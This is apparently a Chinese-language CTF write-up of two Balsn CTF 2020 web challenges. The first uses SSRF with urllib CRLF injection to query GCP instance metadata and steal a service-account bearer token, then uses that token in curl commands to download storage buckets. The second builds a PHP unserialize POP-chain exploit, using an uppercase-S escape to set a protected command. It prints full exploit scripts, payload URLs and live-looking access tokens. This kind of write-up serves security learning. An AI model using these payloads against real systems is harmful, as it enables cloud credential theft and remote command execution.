题目文件:https://pan.baidu.com/s/1utpM99xbMNCX7m7J26WedQ
提取码:v7qg
tpc
题目说flag就在工作目录下并且不可以暴力猜解出文件名
试着file协议,发现可以任意文件读取,那么我们首先要做的是试着读取源文件
读取/proc/self/cmdline查看启动命令
/usr/local/bin/python /usr/local/bin/gunicorn main-dc1e2f5f7a4f359bb5ce1317a:app --bind 0.0.0.0:8000 --workers 5 --worker-tmp-dir /dev/shm --worker-class gevent --access-logfile - --error-logfile -
谷歌以下gunicorn的用法很容易知道源文件就是main-dc1e2f5f7a4f359bb5ce1317a.py
再读取/proc/self/environ查看环境变量
HOSTNAME=tpc-1PYTHON_PIP_VERSION=19.0.3SHLVL=1HOME=/home/ggGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.2PWD=/opt/workdir
于是就知道源文件在 /opt/workdir/main-dc1e2f5f7a4f359bb5ce1317a.py
import urllib.request
from flask import Flask, request
app = Flask(__name__)
@app.route("/query")
def query():
site = request.args.get('site')
text = urllib.request.urlopen(site).read()
return text
@app.route("/")
def hello_world():
return "/query?site=[your website]"
if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=8000)
就提供了一个很简单的ssrf功能,那么为了找到下一步的思路,就必须收集更多信息,用字典fuzz一下得到以下关键信息
/proc/1/net/arp
172.17.0.4 0x1 0x0 00:00:00:00:00:00 * docker0
172.17.0.3 0x1 0x0 00:00:00:00:00:00 * docker0
172.17.0.2 0x1 0x2 02:42:ac:11:00:02 * docker0
10.140.0.1 0x1 0x2 42:01:0a:8c:00:01 * eth0
/etc/hosts
# /etc/hosts: Local Host Database
#
# This file describes a number of aliases-to-address mappings for the for
# local hosts that share this file.
#
# In the presence of the domain name service or NIS, this file may not be
# consulted at all; see /etc/host.conf for the resolution order.
#
# IPv4 and IPv6 localhost aliases
127.0.0.1 localhost
::1 localhost
#
# Imaginary network.
#10.0.0.2 myname
#10.0.0.3 myfriend
#
# According to RFC 1918, you can use the following IP networks for private
# nets which will never be connected to the Internet:
#
# 10.0.0.0 - 10.255.255.255
# 172.16.0.0 - 172.31.255.255
# 192.168.0.0 - 192.168.255.255
#
# In case you want to be able to connect directly to the Internet (i.e. not
# behind a NAT, ADSL router, etc...), you need real official assigned
# numbers. Do not try to invent your own network numbers but instead get one
# from your network provider (if any) or from your regional registry (ARIN,
# APNIC, LACNIC, RIPE NCC, or AfriNIC.)
#
169.254.169.254 metadata.google.internal metadata
hosts文件里面添加了一条特殊的记录,谷歌一下发现里面存放着实例的一些数据
直接访问metadata.google.internal
,得到:
0.1/ computeMetadata/
继续访问下一级目录发现500了
阅读文档得知要加入Metadata-Flavor: Google
请求头
python的urlllib库之前爆出存在着CRLF的漏洞,利用这个来绕过
"http://35.194.175.80:8000/query?site=http://metadata.google.internal/PATH/%20HTTP/1.1%0d%0aMetadata-Flavor:%20Google%0d%0apadding:"
写个脚本读取所有数据:
import requests
def req(parent,path):
burp0_url = "http://35.194.175.80:8000/query?site=http://metadata.google.internal"+parent+path+"%20HTTP/1.1%0d%0aMetadata-Flavor:%20Google%0d%0apadding:"
return requests.get(burp0_url)
def getInfo(parent,path):
r = req(parent,path)
if r.status_code == 500:
return
print(parent+path)
print(r.text)
print("----------------------------------------------------------------------")
if not path.endswith("/"):
return
child = r.text.splitlines()
parent=parent+path
for i in child:
getInfo(parent,i)
getInfo(parent="",path="/")
得到以下数据(只显示对题目有用的数据)
...
----------------------------------------------------------------------
/computeMetadata/v1/project/project-id
balsn-ctf-2020-tpc
------------------------------------------------------------------
/computeMetadata/v1/instance/service-accounts/default/token
{"access_token":"ya29.c.KpcB5QdRi_ofZUDT6YcnsZrXwex0ocEfddkf1cL9qgsBVUuJI6xm7X__zkSxCc4jbw35HGJ2ZSbVUQljIKqOWbe_-q33It_9ip0sO15lH8usKPuj1I-vg2BHQeyizyWloiDf2vlRbL0EiZNaiKa3_tGFFEbxt9JrmsfYxWoN3_VOn3cqTbjNyEdj3-Xr3oQUiD0ESz0H2NS4Lg","expires_in":3147,"token_type":"Bearer"}
----------------------------------------------------------------------
/computeMetadata/v1/instance/service-accounts/default/scopes
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/trace.append
----------------------------------------------------------------------
...
阅读文档来了解下载存储在服务器上的数据
#查询存储分区:
curl -X GET -H "Authorization: Bearer ya29.c.KpcB5QezRL_BHhcBssfoC6rViLqbqi72L687AYtNLcDVGO2vf__MDx-Z-4X-j1Tk5iXmMZfpUvEpzwlIfl4RctiaZQa_mODL0KI5DqdyMic7E8WBGSi1GB4ViTLf-u8P155FfcteCoA_PVkWRt6phv_W_iFRsooJBLW7aRllZwP9Dx2-G1UVixDww-GUzLRbBN2CqT7HKp1AKA" \
"https://storage.googleapis.com/storage/v1/b?project=balsn-ctf-2020-tpc"
#查询存储对象
curl -X GET -H "Authorization: Bearer ya29.c.KpcB5QezRL_BHhcBssfoC6rViLqbqi72L687AYtNLcDVGO2vf__MDx-Z-4X-j1Tk5iXmMZfpUvEpzwlIfl4RctiaZQa_mODL0KI5DqdyMic7E8WBGSi1GB4ViTLf-u8P155FfcteCoA_PVkWRt6phv_W_iFRsooJBLW7aRllZwP9Dx2-G1UVixDww-GUzLRbBN2CqT7HKp1AKA" \
"https://www.googleapis.com/storage/v1/b/asia.artifacts.balsn-ctf-2020-tpc.appspot.com/o"
#下载对象:
curl -X GET -o "/tmp/obj1" -H "Authorization: Bearer ya29.c.KpcB5QezRL_BHhcBssfoC6rViLqbqi72L687AYtNLcDVGO2vf__MDx-Z-4X-j1Tk5iXmMZfpUvEpzwlIfl4RctiaZQa_mODL0KI5DqdyMic7E8WBGSi1GB4ViTLf-u8P155FfcteCoA_PVkWRt6phv_W_iFRsooJBLW7aRllZwP9Dx2-G1UVixDww-GUzLRbBN2CqT7HKp1AKA" \
"https://www.googleapis.com/download/storage/v1/b/asia.artifacts.balsn-ctf-2020-tpc.appspot.com/o/containers%2Fimages%2Fsha256:1c2e7c9e95b20a8dde6674890b722779c5a797d9d5968a9fa3a0ef89cd90f9b4?generation=1605158579380048&alt=media"
将所有对象下载下来后cat * | grep -a flag
获得flag路径:/opt/workdir/flag-6ba72dc9ffb518f5bcd92eee.txt
BALSN{What_permissions_does_the_service_account_need}
L5D
题目描述
「Taking L5D was a profound experience, one of the most important things in my life.」
Try this new Unserialize-Oriented Programming System a.k.a. L5D !
http://l5d.balsnctf.com:12345/index.php
PHP Version: 7.0.33
Author: kaibro
题目提供了源码,阅读后发现以下可能作为关键点的地方:
变量覆盖:
任意命令执行:
修改全局变量cmd
但是题目给反序列化的数据加上了一个限制:不能出现*
(protect变量就需要*
号)
实际测试一下发现,并不能用public,private的同名变量来代替protect变量,这是难点一
还有就是其他类的__wakeup
方法会禁止我们通过L5D_Upload来任意变量覆盖,然后L5D_Upload又必须在其他的__destruct
方法前执行,这是难点二
难点二我们可以通过最后一个调用L5D_Upload的__wakeup
,第一个调用它的__destruct
来绕过,因为__wakeup
的调用顺序是从里到外,从前到后,__destruct
的调用顺序是从外到内,从前到后,所以构造
class L5D_Upload{
public $padding;
public function __construct()
{
$this->padding = new L5D_ResetCMD();
}
}
class L5D_ResetCMD {
public $padding;
protected $new_cmd = "cat /flag";
public function __construct()
{
$this->padding=new L5D_Command();
}
}
class L5D_Command{
}
new L5D_Upload();
接着就是难点一了,对*
号的禁用导致我们不能直接反序列化一个protect属性的成员
但是我们可以用大写S来绕过:
可以利用大写S来绕过对protected,private等属性的字符检测如:
O:12:"L5D_ResetCMD":2:{s:7:"padding";O:11:"L5D_Command":0:{}S:10:"\00\2a\00new_cmd";s:9:"cat /flag";}
这样new_cmd就是protect属性了
最后的exp:
class L5D_Upload{
public $padding;
public function __construct()
{
$this->padding = new L5D_ResetCMD();
}
}
class L5D_ResetCMD {
public $padding;
protected $new_cmd = "cat /flag";
public function __construct()
{
$this->padding=new L5D_Command();
}
}
class L5D_Command{
}
$a=str_replace('s:10:"'."\x00*\x00",'S:10:"\00\2a\00',serialize(new L5D_Upload()));
echo urlencode ($a);
总结
反序列化在禁止\x00和*时,我们可以利用大写S来绕过对protected,private等属性的字符检测如:
O:12:"L5D_ResetCMD":2:{s:7:"padding";O:11:"L5D_Command":0:{}S:10:"\00\2a\00new_cmd";s:9:"cat /flag";}